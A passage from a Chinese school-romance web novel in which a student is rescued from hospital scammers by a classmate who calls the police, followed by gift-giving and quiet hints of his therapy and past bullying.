-撸猫大使:呜呜呜呜我还是好不甘心啊……和学霸大帅哥就这么错过了……
她点进帖子里扫了一眼,不出意料又是有关贺行雪的。
贴内附了几张他在国外上中学时的一些照片以及获得的各种奖项,上面那些英文单词超过了舒禾的知识范畴,总之洋洋洒洒一大堆看起来很厉害的样子,不知贴主是从哪里扒出来的。
早上才发出的帖子,底下评论居然就快破千了,仅凭着几张照片,硬生生被顶成了热帖,很难想象他要是回学校会是个什么光景。
舒禾随意地翻了一下。
智商高,长得帅,还有钱,这样的男生本就很能吸引正处于青春期女孩的目光,更别说她们还和这种传闻里的人当过两天校友,勉强算得上近距离接触过。
这种感觉就像是,原本高不可攀的人短暂地出现在了你身边,你正为此高兴窃喜时,他却又消失无踪,那种巨大的落差感很能加剧人的遗憾心理。
舒禾抿了抿唇,退出帖子。
怎么哪里都有他。
真是越不想听到的事情,越要出现。
看着好友发来哭诉的消息,舒禾睫毛颤颤的,很想和她说看人不要看表面,却又不想胡乱透露别人的隐私。
她心里挣扎了许久,才慢慢发送过去几个字。
-禾:他不是个好人[皱眉]
因为在背后说了别人坏话,舒禾有点心虚难安,啪得一下关掉手机,雪白的腮颊染上粉红色。
好在没多久,医院的播报语音便叫到了她。
将药单子递进窗口,里面的工作人员对照着单子取出几盒药,一起送了出来。
舒禾低头检查了一下没问题,便装进小塑料袋里,准备给妈妈送去理发店。
刚转过身,一个人影猝不及防撞了上来。
力道很重,她连药袋子都没拿稳,落在地上撒了出去。
“怎么走路的啊你!”男人怒气冲冲地朝她吼道。
舒禾被撞得懵了一瞬,继而不可置信地睁大眼。
他简直倒打一耙。
这是个二十岁出头的男人,棕黄色头发,长得不算特别高,露出的手臂肌肉上有大片纹身,看起来流里流气。他身边还挽着一个漂亮的年轻女生,穿着宽松长裙,素手轻轻抚在肚子上。
这男的还在唧唧歪歪:“走路不长眼睛的啊你?”
舒禾一边蹲过去赶紧将药捡起来,一边忍不住据理力争道:“我刚一直站在那里取药,动都没动过,才刚转过身,一步都没走出去呢,明明是你朝我撞过来的。”
“放你娘的狗屁。”他转头向地上啐了口唾沫,“你说说你有哪里特殊的,我不撞别人,偏偏逮着你撞?”
舒禾看着这种没素质的画面厌恶地拧了拧眉,总之也没有什么损失,她便不想再和这种人纠缠,倘若上升到身体冲突,到时候吃亏的还是她。
思及此,她干脆利落地转身就走。
谁料男人一个跨步拦住了她的去路:“撞了人也不道个歉,随随便便就想走?还讲不讲点道理了?”
舒禾深吸了一口气,依旧不想惹麻烦上身,温和平静地说:“你想要道歉,那我和你说对不起,但是咱们谁撞的谁,心里都有数。”
混混挑眉,接着以一种很恶心的眼神,上下打量了她一眼:“看你还是个中学生,是附近附中的吧?怎么还教出一个无赖来了?”
这个年纪的学生,一般都很怕社会上的风言风语牵扯到学校或家人那里,就算错不在自己,但谣言可畏众口铄金,说的人多了,谁还管是不是那么回事呢?总会有些异样的眼光落到身上。
他太了解这些中学生的心理了,根本不敢让事情闹到学校去,于是他用大度的语气说:“本来嘛,我也是个懒得计较的人,但今天我女朋友也在,她又是个孕妇,被你这么一撞那事情就可大可小了,得检查了才知道。”
他见女生被吓到似的不吭声,不由气焰更跋扈了:“正好在医院也方便,不过体谅你是个学生没什么钱,我也不收你多的,检查费一人一半吧。”
他可是知道,大多附中学生家里都挺有钱的,攒下的零花钱怎么都够检查费用了。
由于舒禾一直是个息事宁人的态度,他们闹出的动静不算太大,大厅里只偶尔有几道视线投射过来,不过来医院的要么是病患,要么是病患家属,大家都没那个精力去管别人的闲事。
自顾自地拿药,
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自顾自地离开。
贺行雪从心理咨询室走出来,听见远处有些动静,兴致缺缺地撩了撩眼皮,远远瞥见了人流中僵持不下的几道身影。
其中一个个子矮的,看着还有那么一点眼熟。
他定眼看了看,认出来了。
这不就是上周见鬼似的,从他家里慌慌张张跑出来的人么。
真是哪儿都有她。
另一边,舒禾听完这个男人的话,彻底明白这是一场有预谋的碰瓷了,一时半会儿站在那里没反应过来。
她没有处理这种事情的经验,但医院这种地方处处都是监控,倒是不怕被人硬泼脏水在身上。
因此说话时还算镇定:“检查费不可能,有问题你们可以找警察调监控,请不要拦着我的路。”
“找警察?我女朋友现在要是出了什么问题,等警察到黄花菜都凉了。”
舒禾皱眉,他揽着女朋友杵在那里一动不动,幸而过道宽敞,旁边还有路。
见吵架吵不过他,舒禾便准备从他们身边绕开,然而才刚转了转身,男人却好像早有预料似的,觑准了时机一把抓向女生手腕。
“你还想直接跑了?”
舒禾没想到他会在大庭广众下动手,吓得心跳都停滞了一瞬。
然而就在他抓向她的电光石火之间,另一只手快准狠地在半空截住了他。
余光里忽然出现一抹黑色衣角,和它一同出现的,还有空气中飘来的淡淡苦橙气味,清冽地覆在她鼻间,盖住了医院的消毒水味道。
舒禾怔然地侧眸。
贺行雪唇角轻扯,钳住男人的手施了点力,他语气懒懒散散:“欺负一个女孩子,不合适吧。”
“操,”那混混疼得面容扭曲一瞬,挣了下竟然没挣出,气急败坏道,“妈的给老子放开!”
贺行雪先转头扫了眼舒禾。
舒禾正呆呆地望着他,一双杏眼睁得圆不溜秋,像被吓傻了,又像是不知道他怎么突然出现在这,整个人还处在惊讶懵然中,完全没在状态。
“……”贺行雪看了看她,“有没有事?”
“啊,”舒禾这才回过神来,“我没事,他没碰到我。”
闻言贺行雪才松手放开他,男人立刻退了好几步,吃痛地嘶声甩了甩手,他女朋友担忧地凑上去。
贺行雪垂着眼睫,他的掌心里还残留着别人的体温,这感觉让人很是恶寒,他只觉得心里好像有蚂蚁在爬,偏又没带纸巾,现在也不方便去洗手。
他忍了忍,还是忍不住,瞥了眼舒禾。
她衣服后面正好带了个帽子。
帮她解决了个麻烦,拿她帽子擦下手不过分吧。
贺行雪想着,颇为心安理得地伸手过去,把她的帽子揉攥成可怜巴巴的一小团,放在掌心里细细摩擦了几下。
直到那股不适感完全消退,他的手顺带微微一提,便把一无所知的帽子主人拉了过来。
舒禾只觉喉间一紧,未待反应,下一秒就被拎到了男生面前。
“……”
她未回神,不解地拧着眉毛看他:“你干嘛?”
四目相对。
贺行雪松开手,敛眸睨着她。
女孩儿尚有些心有余悸,整个大脑都慢了半拍,模样有些傻兮兮的。
贺行雪沉默不语,舒禾迎着他打量的目光,心里莫名打着鼓,奇怪问:“你在看什么?”
闻言,贺行雪挪开视线,看着前方依偎的一男一女。
他神情懒怠,话不知是对谁说的。
“看个傻蛋儿。”
15. 第 15 章
舒禾一愣:“什么?”
贺行雪却不搭腔,下颌微抬,朝她示意前面的两个人:“怎么个事?”
舒禾便顺着他的目光看过去,小声向他解释了来龙去脉,接着不大高兴地说:“我怀疑他们是碰瓷的。”
专挑看起来好欺负的老实人。
贺行雪微微侧过头,注视身旁的女生。
须臾,他点了点头,高深莫测地来了一句:“不错,还有救。”
舒禾疑惑地嗯了一声,显然没听明白。
贺行雪慢悠悠地补充:“还没傻得彻底。”
这下她听明白了,瞬间回忆起他方才的话,舒禾不可置信地看着他问:“所以你刚刚说的傻蛋,是在叫我?”
贺行雪理直气壮地点头,嗯哼了一声:“不是你,难不成是我?”
舒禾嗫嚅着张了张唇,哪有这样说人的……
到底没来得及说出口,不远处一直在观察这边的混混,仿佛终于得出了结果,手也不疼了,又带着女朋友向他们走过来。
他冷哼了一声,目光在贺行雪和舒禾之间来回巡视,最终停留在舒禾身上。
“小妹妹,你是觉得现在有男朋友护着了,就不用负责了是吗?”
他见两人交流熟稔的模样,显然是误会了他们的关系。
混混心想着,这个男生年龄都摆在这儿了,不见得有什么社会阅历,顶多也就是力气大了点,他多吓唬几句,从他们心理上瓦解,这两人还不是只能跟小白花似的绑定在一起任他折腾。
内心畅想得很美好,待回到现实中时,他却突地发觉不对劲,面前这两人不知怎么安静得不像话。
下意识抬眼,竟见男生女生此刻正默契的,以同一种诡异的表情盯着他。
……诡异?他冷不丁吓了一跳。
男朋友。舒禾呆了呆,几乎是下意识地就往旁边挪了几步,离“男朋友”远了一些。
这熟悉的画面,似曾相识的感觉,她好像就在不久之前经历过。
怎么总有人把他们误认成情侣……
她缓了缓,偷偷觑一眼男生。
贺行雪自然没好到哪里去,一听到那句“男朋友”,大脑某处就跟触电似的炸了一下,噼里啪啦地把他思绪搅作一团。
苍天可鉴,这些年虽收到的情书告白不断,但别提恋爱了,他贺行雪长到现在,可是连女孩子的手都没牵过!怎么突然就莫名其妙被安了个男朋友的名头……还是那个傻蛋的男朋友。
他身形在原地滞了滞。
少顷,冷冷地掀起眼皮,睨向那个男人。
“当然得负责。”
碰瓷不说,还污他清名,当然得负责。
舒禾闻言看了看他,眸底的疑惑之意明明白白,但贺行雪不想说话,只淡定地给她递了一个眼神。
舒禾见此,心便放了放。
很奇怪的,她莫名相信这个男生。
混混却不知这其中弯弯绕绕,只以为这俩小孩被他唬住了,眼神不由亮了亮,手小幅度碰了碰他女朋友,话却是对他们说的:“那走呗,我们去前台缴费。”
说完还笑嘻嘻夸赞了句:“看来还是你这个小男生比较有担当啊。”
听着阴阳怪气的。
混混的女朋友很适时地在一旁捂着肚子皱眉,做出了身体不适的表情。
“急什么。”贺行雪慢条斯理地说,“我们好学生,遇到事情肯定要先找警察。”
混混脚步一顿,当即怒道:“没看我女朋友都不舒服了吗?我们哪有空陪你等警察!”
他满脸一副你们别想赖账的神情。
贺行雪好脾气地笑了笑:“不用等啊。”
闻言,混混和他女朋友都顿时滞住,有了种不太好的预感。他们望着眼前这个男生,心里陡生一股凉意,转瞬爬满四肢百骸。
舒禾似有所感,侧了侧身望向门口,便见此时大门处正好走进来两名身穿制服的警察。
她不由地一愣,回眸看了看身旁懒洋洋的男生。
他是什么时候……
那混混和他女朋友显然也看见了,两个人浑身僵硬地站在那里,双腿下意识地往后挪,目光惊诧又恐惧地扫射四周,是一副想跑又不敢跑的样子。
那两名警察一进来,视线迅速锁定了这边,更准确地说,是锁定了满脸慌张的那两个人。
他们毫不耽误,快步赶过来,冷声笑道。
“上次就有人报过警,让你们给跑了,刚一接到电话,我就知道又是你们两个!”
听样子,这两人还是前科屡屡的惯犯。
那混混被警察严声质问得往后趔趄了一下:“警官,上次不是我们啊,误会,误会……”
警察用力拍了拍他肩膀,皮笑肉不笑地,示意他跟自己走:“是不是误会的,我们先回去喝杯茶,慢慢讲。”
舒禾见那两人铁青着脸,忍不住偷偷笑了一下,真是恶有恶报。
事情大致解决了,贺行雪看得兴致缺缺,他昨晚只睡了三四小时,现在困意复卷上来,有点想回去睡觉。
另一名警察走过来,跟他们核实一下情况做好了记录,便带着那两人回局子。临走时,贺行雪瞥了眼混混青白交加的脸,索然点评了一句:“跟演电影似的。”
舒禾:“……”
顿了一会儿,她抬眼望向他,诚恳说道:“今天谢谢你啊,贺同学。”
如果没有他,还真有点麻烦。
贺行雪没吭声。
对外的事解决完了,但对内的情绪还没消化完。他还没忘记一星期前的事情,反正心里是不怎么痛快,刚才去帮忙,纯粹是这傻蛋运气好,碰见他这么个不计前嫌的热心群众。
贺行雪单手插兜,看着这个眼神诚挚的女生,绷着冷脸不说话,就差把“爷很清高不屑与你们凡夫俗子为伍”写在眼神里。
但是也没走。
一高一矮的两个人,一个低头一个抬脸,停在缓缓流动的人群里,像被单独按下了暂停键。
对视半晌。
“……”
舒禾率先败下阵来,移开目光,迟疑了会,问道:“你怎么也在医院,身体不舒服吗?”
他眼睫微敛,惜字如金:“没有。”
至于为什么在医院,这就说来话长了,不符合他如今高冷的人设,所以贺行雪干脆直接忽略,等这傻蛋什么时候把他哄好了,再勉强考虑要不要阐明。
空气再次沉默。
考虑到男生或许有什么难言之隐,舒禾便没有多嘴再问,看了眼时间,此时快至中午,正好肚子也有些饿了,因而对他道:“谢谢你今天的帮忙,要不,我请你吃个饭吧?”
上周那笔天降横财,还好好地待余额里没动。
贺行雪闻言瞅了一眼她,心里清楚前面那句谢谢只是一个借口。
她就是单纯想约他吃饭罢了。
请吃饭……算是在哄他吗?会不会有点太敷衍了啊,贺行雪暗自想,如果这么简单就被哄好,岂不显得他是个随随便便的人,以后她要是再惹他生气该怎么办?
不行不行,不能让她轻易得逞。
贺行雪矜持地回答:“我待会有事。”
这是个折中说法,他心道,再多哄两句,证明一下她坚定的诚心,倒也不是不能考虑……
“这样啊。”舒禾遗憾地说。
时间已不早,她还得赶回理发店,因此不便再耽搁。
抬眼时
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,见男生正看着她,那眼神似有催促之意,她微微一愣,很快恍然。
“那,我就先回去啦?”
贺行雪:“……”
他伪装出来的表情差点裂开,硬生生地扯出一个笑:“去吧。”
这笑看起来怪瘆人的,舒禾摸了摸手臂,大夏天的,激起一层鸡皮疙瘩。
两人一前一后地往外走,一路沉默着没说话。
舒禾是本来话就不多,加上男生明显拒绝交流的神情,她更不会去硬凑话题,于是两人安安静静地走出医院。
贺行雪走在她后面,盯着女生圆圆的后脑勺,眼神颇有几分凶神恶煞,垂在身侧的手都捏紧了。
他真想敲开这颗傻蛋,看看里面装的都是些什么。
医院外有一个小花园,供住院的患者用来散步锻炼,不过正值暑热,此刻花园里寥无人迹,只有哗哗的树声,伴随着绵长的蝉鸣。
真奇怪。
舒禾觑了眼太阳,脑袋怎么凉凉的。
前方不远就是医院正门,而后是个十字岔路,没有树荫的遮挡,阳光太晒太晃眼,她低头从包里拿出遮阳伞,小小的一把嫩黄色。
撑开时,突然瞥见了身后的人。
男生此时轻耷着眉眼,视线垂在地面,神色显得有些冷漠,不远不近地落在后面。
她微微一顿,脚步慢了下来。
贺行雪心情十分糟糕,简直称得上五内俱焚,各种不爽全摆在了脸上。
这天太刺眼,蝉鸣好聒噪,破风吵死人,街边的车水马龙晃得人眼睛疼。
他心烦意乱地闷头走。
……还有前面那个女生,走那么快到底要去干嘛!
果然,待在家里比什么都好。
脚踩到路上的碎石头,他忿忿地用力碾了一下,接着郁郁寡欢地继续抬步。
没迈两步,头顶忽然落下一片阴凉。
他身体微微一顿,眼皮抬了抬,随即怔在了原地。
女生不知什么时候竟走了回来,正捏着一把嫩黄的小伞,她白皙细瘦的手臂高高举着,在费力地往他头上罩。
那双清澈明亮的眼里倒映着他的影子,贺行雪低头,目光落在女孩子莹白的脸颊,他无意识地定在了那里,先前所有的不快,就在这一个瞬息消失。
贺行雪的思绪毫无预兆地被拉回了医院的心理咨询室。
他的心理医生常贻,是一位中年女性,看人的眼神往往带着一种通透的慈悯。
常贻曾细致地了解过贺行雪在国外学校所遭受的排挤和校园暴力,也在去年冬天,在这间医院,亲眼看见过奄奄一息濒临死亡的他。
咨询室里,漫长的诊疗时间,他曾无数次剖开自己的血肉,神色冷静地让常贻看见他内心的腐朽。
但常贻脸上总挂着慈和的笑,那模样像极了一位母亲:“小贺,有的时候,你可以试着把自己想像成一个橘子,你知道,世界上并非所有人都爱吃这种水果,不喜欢橘子的人,可能一直把它放到茶几上,任由其变质发霉腐烂,然后扔进垃圾桶里,那,这是橘子的错吗?”
贺行雪没说话。
常贻温柔坚定地看着他。
“不,它只是没等到一个爱吃橘子的人。”
舒禾忽见街对面的红灯快要转绿,顾不得再说别的,匆匆忙忙地把伞往男生手里一塞:“给你用,我先走啦。”
说完,她抬手挡着烈日,赶在绿灯最后十几秒,着急忙慌地冲过去。
那身影很快汇入人流之中。
贺行雪插兜站在原地。
他举目望着对面街道,另一只手里的伞不自觉地紧了紧。
有那么一刻,他的呼吸连带着心跳,都骤然急促了几分。
16. 第 16 章
开学几周过后,舒禾彻底融入到分班后的学习当中,进步飞快。加上有年级第一的辅导,就算是基础薄弱的那两科,成绩也提升得非常明显,上周周考的成绩出来后,舒禾发现她的班级排名居然上升了六个名次!
虽然依旧是吊车尾。
不过只要在进步就是好事情,舒禾心态还不错,每天都充满动力,这股学习的劲头更大了,除开上课时间,她课余几乎从早到晚都在刷题,一周就能写完三本厚厚的题册!
任姝宁看见,自叹弗如。
“阿禾,照你这么学下去,明年我该不会就要拥有一个文科状元的好朋友了吧!”
任姝宁幻想了一下那个场景,心里深觉与有荣焉,激动地自告奋勇道:“到时候如果有一堆记者拦在校门口不让走,你只管放心,我一定会把你掩护得好好的!”
舒禾被她揶揄得脸颊都烧了起来,扑上去捂住她喋喋不休的嘴:“你不许乱说!我这才哪到哪呀……”
嘴巴被捂住也不能阻止任姝宁发出含含糊糊的声音:“我说真的!阿禾你这么聪明,又这么努力……”
“停停停停停!”舒禾简直受不了好朋友对她的迷之自信,连忙打住她,松开手,极快地切换到另一个话题,“阿宁,我想不出来该送男生什么礼物比较好,你有没有推荐的呀?”
一听这话,任姝宁果然被转移了注意力,兴奋地凑了过去,八卦之魂熊熊燃烧:“送谁啊?不会是我们的年级第一吧!!”
她知晓这两人每周末都约在一起学习。
互为状元预备役选手,宿敌变恋人,校园到都市,双强cp,天啊,任姝宁双眼放光,脑子里瞬间叠满了元素,好嗑!好嗑!
舒禾点了点头,知道她又想歪了,不得不解释道:“下周末是秦嘉文生日,他帮了我这么多,我总要回赠一点心意。我和他就是普通朋友,你别多想啦。”
下周末的中午秦嘉文家里要给他举办生日聚会,所以他最快也只能下午才到书店,便提前和她说了这事。
“好吧。”刚磕起来的cp就被正主拆散了,任姝宁有点失落,不过依旧仔细想了想,琢磨道:“男生一般都喜欢比较实用的礼物,像学习用具啊,运动用品啊……哦对了,我听说秦嘉文有晨跑的习惯,或许可以买点运动相关的?”
舒禾若有所思地唔了一声,觉得这个主意不错,可以回去找找看。两人接着聊了一会,任姝宁突然想起来一件事。
“那天我给你发贺男神的帖子,你先是回我一个他不是好人,怎么没过多久就变卦了,又发来一句说,他人挺好?”她当时还发过去一个疑问号,结果舒禾死活不回复了。
“……”
突然提起这个事,她还有些心虚地躲开了视线。
那天前脚刚说完别人不是好人,后脚别人就出现在她面前,还帮她解决了麻烦事。舒禾心里很是惭愧,但是发出去的消息已经无法撤回,只能强装淡定地找补了一句。
“就……突然觉得背后说人坏话不太好。”面对任姝宁炯炯的眼神,她快速含糊了过去。
送礼思路有了着落,当晚回家,写完给自己布置的课外作业后,舒禾就拿起手机,搜索了一下运动相关的礼物推荐。
篮球、筋膜枪、运动护膝、运动手环……天啊这也太多种类了,选择困难症都要犯了。
挑了十几分钟,没选出个结果,反而把她看得眼花缭乱。舒禾泄气地放下手机,准备先去洗漱,边洗边想。
正准备起身时,她的余光忽然瞥见一小抹橙色,动作不由一顿。
那是之前从贺行雪家慌慌张张回来后,她放在包里的那罐橘子汽水,喝也不是,丢了也不好,最后就被她随手放在了窗台上。
舒禾没起身,趴在木板书桌上,望着那罐橙色汽水,脑海中不知想起了什么,脸颊一点点漫上绯红,她局促地移开视线。
过了片刻,又犹犹豫豫拿起手机,抖着手在搜索引擎上慢慢输入:
——男生看黄片会有什么危害?
打完这行字,她的脸已经涨红得没法看,做了好几次深呼吸让自己平静下来,去看屏幕上显示的内容。
上面洋洋洒洒列举了一大堆出来:容易有成瘾倾向,影响工作、学习或睡眠,过度沉迷可能会减少现实生活社交,引发或加剧性功能障碍……
底下附了一条总结意见:如果出现以上情况,建议到医院进行专业咨询,或尝试加强与现实的连接,多培养运动等兴趣爱好转移注意。
看见“医院”两个字眼,舒禾的大脑极重极沉地轰隆一声,顿然回忆起那天,她问起此事时,男生闭口不言的画面。
霎时间,仿佛有什么从水面下浮了起来。
正常情况下,为什么在医院这种事,就算不想多说,应该也不至于会刻意回避这个话题吧……她目光呆呆的,思维不由自主地发散。
所以…他…障碍……?
舒禾红着脸赶紧晃了晃头,把这种先入为主的想法扼杀住,而后悄悄吐出一口气。
不管怎么样,青少年看这种东西总归是不好的。这些天舒禾还偶尔能回想起那张惊世骇俗的碟片,每次想到都要被震惊一次,搞得她学习效率都有所下降。贺行雪这个人虽然总是忽冷忽热,但他上次还出现替她解了围,其实人也还挺好的。
那,她是不是应该,稍微提醒一下他啊?
可是这种事情,要怎么才能说呢……
她纠结半晌,忽然想起刚才为秦嘉文选的生日礼物,里面有一个是运动手环,能设定每日运动的任务目标,精准记录数据,价格也不算太贵,两百左右。应该……挺适合他的?多运动运动,就没心思想别的了。
舒禾越想越觉得合适,正好她还愁之前洗猫那几百不知该什么办,退给他他也不要,换成礼物他总能收了。
那么,一个给秦嘉文当作生日礼物,一个送给他……当作上次的谢礼吧。
这样一来,生日礼物的事情也解决了,舒禾兴致勃勃地想,今晚可以睡个好觉了。
*
凌晨两点,天幕漆黑,万籁岑寂。
电竞桌前的屏幕淡淡散着荧光,映在男生脸上,各色光线强弱交错。
过了不知多久,激烈的键盘鼠标声停下,一局游戏结束,贺行雪终于稍稍起了困意,伸手取下头戴式耳机。
没顾上退出游戏,他第一时间拿起手机,点进某个黄色app。
闲鱼的消息界面依旧安安静静,前两条,是今早有人询问伦敦房屋是否还在转租的事情,他没有搭理,目光往下滑,落在一个土里土气的莲花头像上。
那里的消息栏,还停滞在交易成功后,系统自带的“快给ta一个评价吧~”上面。
没有新消息。
他把界面往上滑,不信邪似的,手动刷新了几下。
还是没有。
他盯着屏幕,眉心无意识蹙起一道痕,屏幕光映得他皮肤苍白,眼底的淡青也极为明显。
贺行雪握着手机,脸色不太好看。
这个傻蛋怎么回事。
伞放他这里那么久了,怎么都不来找他拿?
他的目光从手机上挪开,落到电竞桌的角落,那里躺着一把折叠得整整齐齐的嫩黄小伞。
盯着它半晌,男生视线却有些空洞,像是在透过那把伞,看着别的什么。
“给你用,我先走啦。”
女孩子眼里盛着阳光,那双眼朝他盈盈地弯了弯,跑动时,脑后乖顺的小啾轻轻晃动,像一只青鸟的尾巴。
独有的绵软欢快的嗓音,在脑海里不轻不重地回荡,羽毛似的轻飘飘。
贺行雪倏地用力闭了闭眼,连眨了好几次眼睛,迫切地让那幅画面消散掉。
怎么回事,怎么老想起她。
他抿了抿唇,看着桌面上那把小伞,心里有了答案。
用了别人的东西没还,总是惦记着也很正常。
十分合乎情理。
贺行雪往后靠在电竞椅上,捧着手机慢悠悠地转了个圈。随后点进女生的主页,上面显示她已有几天没上线过,看着看着他又忍不住皱眉,她怎么一点也想不起来这事。
要不,他提醒一下?
这样的想法在脑海里碾转了一番,立刻又被他否决掉了。
一把伞而已,这么久了他还记着,搞得他多么在意似的。
贺行雪无所事事地划动她的主页,除了洗猫的链接之外,她以前还出售了许多闲置的小东西,例如用旧的书包、几本小说漫画、一盏粉色的台灯……那盏台灯后面,还贴心地备注了光线不太好,他忍不住嗤了声,真是傻不愣登的。
价格标得很便宜,个位数至二位数不等,都显示已售,唯有一个还在售的,是一盆小多肉。
莲花形态,叶片饱满圆润,绿中带粉。
丑死了。
谁会买啊。
贺行雪嫌弃地看了会,然后眼不见为净地划走,百无聊赖地把她的主页从头到尾,又从尾到头地翻了一遍。
其实这些天他已经翻过许多遍了,链接顺序都快会背了,但架不住无聊啊。贺行雪点开那张莲花头像,再次点评了一句“果然很土”,随后退回到聊天界面上,手指微妙地顿了顿。
要不,还是提醒一下吧。
贺行雪心想。
毕竟那是颗傻蛋,可能记性不大好。
大概是这个理由说服了自己,他又把椅子转了回去,拿手机对着那把小伞拍了张照。
点击发送。
*
舒禾看到这张照片的时候,已经是第二天晚上了。
那时她刚写完课外习题,拿起手机准备看看昨晚下单的手环有没有发货,结果忽然想起早上起床时,因为太赶时间,而忽略了一条不知谁发来的闲鱼消息,于是手指半路转道,点进了闲鱼。
发来消息的是个意想不到的人。
舒禾看着。
那个名字为乱码的买家,发来了一张图片,是她的那把伞,嫩黄色的伞躺在漆黑的桌面上,极度显眼。
除此之外,就没有别的了。
干嘛突然给她发张伞的照片啊,发完也不说话,还是在凌晨两三点,这个人不睡觉的吗?
舒禾腹诽,心道难不成是要把伞还给她?可那就是一把普通的便宜小伞呀,那天见他垂着眼睛跟在后面,看着怪可怜的,所以给他遮阳用。既然给了他,她就没准备再拿回来的。
看着聊天页面光秃秃的一张照片,舒禾有些发愁,他要还给她,她也没理由拒绝,但这人平时又不来学校,她总不能去他家找他。
忖度须臾,她手指微动,打了一行字发过去,便去洗漱准备休息了。
一小时后,正是别人入睡的时间,市区罕有的低密度别墅区里寂静非常。
黑黢黢的屋内,贺行雪刚睡醒,一头黑发压得乱糟糟,他随手捞过手机,先看了眼时间,正是十二点。
屏幕下方,提示有一条新消息。
他眉眼微动,一整天了,那女生终于知道回消息了。
点进去,随意扫了扫那条新消息,他的目光忽地凝住了。
女生回复的消息是这样的——
“贺同学,你是要还我伞吗?如果是的话,请帮我交给秦嘉文吧,麻烦你了。”
贺同学。
秦嘉文。
盯着这两道称呼,贺行雪坐在床上一动不动,莫名心里怪异,像卡了一根鱼刺,不上不下的。
她什么时候和秦嘉文关系这么亲近了?
连还东西都要通过他的手。
盯了半天,到最后他也没回复,直接关掉手机,面无表情地起床洗漱。
后来连续几天,贺行雪身上一直有股低气压,吃饭也不好好吃,每顿的食量比家里那只懒猫还少,范兴文和梁玉珍不知他怎么了,问他他却只说没事,他们去检
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查了他的药盒,近期也乖乖的没有擅自停药。
容姨跟着他们胆战心惊的,每天做完家务,私下便待在保姆房里翻看菜谱。
也没错啊,她一直是按这么做的,这小少爷好好的,怎么突然就不吃饭了呢?
容姨年至五十,坐在屋里,腿上摊着几本翻开的菜谱,手里拿的那本刚刚被她合上,突然有点怀疑人生了。
家里这些暗涌贺行雪并未察觉,他也并未觉得自己有哪里不对,每天依旧是打打游戏、看看网课、昼伏夜出,偶尔下楼到客厅时,会莫测地盯着他捡来的那只猫看,那肥猫好几次被他诡异的视线盯得脊背隆起,像只炸毛的恐龙,一溜烟钻进窗帘里,窗帘背后被它顶起好大一个鼓包。
最后贺行雪还是打消了再让它洗一次澡的念头。
因为不用去学校,他也不太记得清工作日和周末,还是某天程敬宇突然发消息叫他打游戏,他才知道又到周末了。
贺行雪懒洋洋地靠在椅背上,横着手机和他联机打游戏。快速收割完一波人头,程敬宇边大喊“牛逼”,边兴高采烈地调整装备。
他兴致缺缺地滑动游戏视角,静了静,忽然问:“老秦最近在干嘛。”
“他啊。”程敬宇沉迷于采购新装备,随口道:“他不一直都在跟五花八门的试题打交道嘛,家里试卷都快能搭一座长城了。”
“哦。”贺行雪应完声,不说话了。
等一局游戏结束,又是半小时过去,他没急着开下一把,漫不经心道:“好久没和他玩了,叫他一起呗。”
“呵呵。”麦克风里传来程敬宇一声拈酸的冷笑,“人忙着和小女生一起做题呢,哪有空理咱们。”
游戏里一阵沉默。
贺行雪不经意地问:“和谁啊。”
“还能是谁!”程敬宇说得义愤填膺,“就之前那个纸巾侠啊,你还记得不,他俩同班同学还是同桌,你说他们在学校里天天在一起也就算了,周末居然还要约在书店一起学习,简直黏黏糊糊的!”
说这话时,他没发现队友麦已经彻底安静了下去,他也不在意有没有人接话,自顾自地嘀嘀咕咕:“老秦这人看着挺不解风情的,简直都快成书呆子了,总不能是咱三之间第一个脱单的吧……”
两人停留在游戏大厅,耳机里除了程敬宇的嘀咕声,就只剩下游戏背景音乐。
贺行雪不知在没在听,总之那头的程敬宇一直说个不停。
男生手指缓慢而持续地在屏幕上动作,仓库、商城、活动栏,他漫无目的地把每个地方点开又关掉,视线有些空洞。接着点到了充值页面,男生面无表情地不知道充进去几个648,充完后,程敬宇那张中年商务油腻头像都被他点开看了会,半晌才后知后觉感到辣眼睛。
程敬宇说着说着终于察觉到不对劲:“你到底有没有在听啊?”
贺行雪嗯了声。
程敬宇:“那我刚刚说什么了?”
贺行雪:“……”
程敬宇操了一声,十分无语:“我说,咱找个机会过去凑凑热闹呗?就在外公的书店。”
静默几秒,贺行雪淡淡道:“不去,又和我没关系。”
语调平静得毫无起伏。
“啧,行吧。”程敬宇知道他对这些不感兴趣,也懒得再说,转而道:“那继续开下一把啊。”
贺行雪放下手机:“我不打了。”
“别啊,”程敬宇哀嚎,“再来一把,阿姨快做好午饭了,打完刚好吃饭。”
贺行雪依旧无情拒绝,并且直接退出了游戏。微信里很快收到程敬宇发来长达六十秒的语音,他懒得听,这时楼下忽然传来空灵悠长的摇铃声,丁零当啷响了三下,这是容姨做好饭了。
因着这几天没胃口,外公外婆生怕他有个三长两短,最近经常都紧张兮兮地待在家里看着他,容姨更是每顿饭都在换着花样做。
迎着三道强烈的目光,贺行雪不得不勉强吃了几口,吃完放下餐具,起身时,动作微微一顿。
他忽然低声说了句。
“我出去一趟。”
*
两只运动手环周五就送到了。
一只是很清新的天蓝色,另一只是较单调的纯黑。
今晨下了雨,气温有所下降,舒禾出门时披了件薄外套,坐在书店里写题。秦嘉文是在两点左右到的,男生直接换上了秋季校服外套,浑身裹得严严实实。
“这样不会太热吗?”舒禾停笔,好笑地瞧了眼他。
秦嘉文也笑:“还行,我比较怕冷。”
舒禾便点点头,随后拿出早就准备好的生日礼物,递给他:“生日快乐,这是一点小心意,不知道你会不会喜欢。”
秦嘉文一愣,没想到还有生日礼物。
“谢谢你啊,舒禾。”
他拆开礼物盒,里面躺着一只天蓝色运动手环,他珍惜地取出来,很给面子地当场戴在手腕,随后朝她一笑:“非常喜欢,刚好在学校里晨跑可以用得上。”
舒禾闻言便放心了:“不用谢,这段时间你真的让我学到了很多很多,我还发愁不知道怎么答谢你。”
秦嘉文谦虚道:“哪有这么夸张。”
聊了几句后,舒禾犹豫了一下:“有件事情,可以请你帮个忙吗?”
秦嘉文疑惑:“嗯?”
她将之前贺行雪在医院替她解围的经过说了一遍,而后问他能不能帮忙转交一下谢礼,毕竟他和贺行雪是朋友,见面机会肯定比她多。
“现在怎么还有这种人。”秦嘉文先是听得皱起了眉毛,再欣然应答,“当然可以,但阿雪不太爱出门,运动手环的话,不知道他能不能用得上,不过,心意到了就行。”
舒禾点点头,真心实意地说:“希望他能用上吧。”
毕竟,总在家里看那种东西,容易肾虚。
“用上什么?”
身后忽然响起男生冷淡的声音。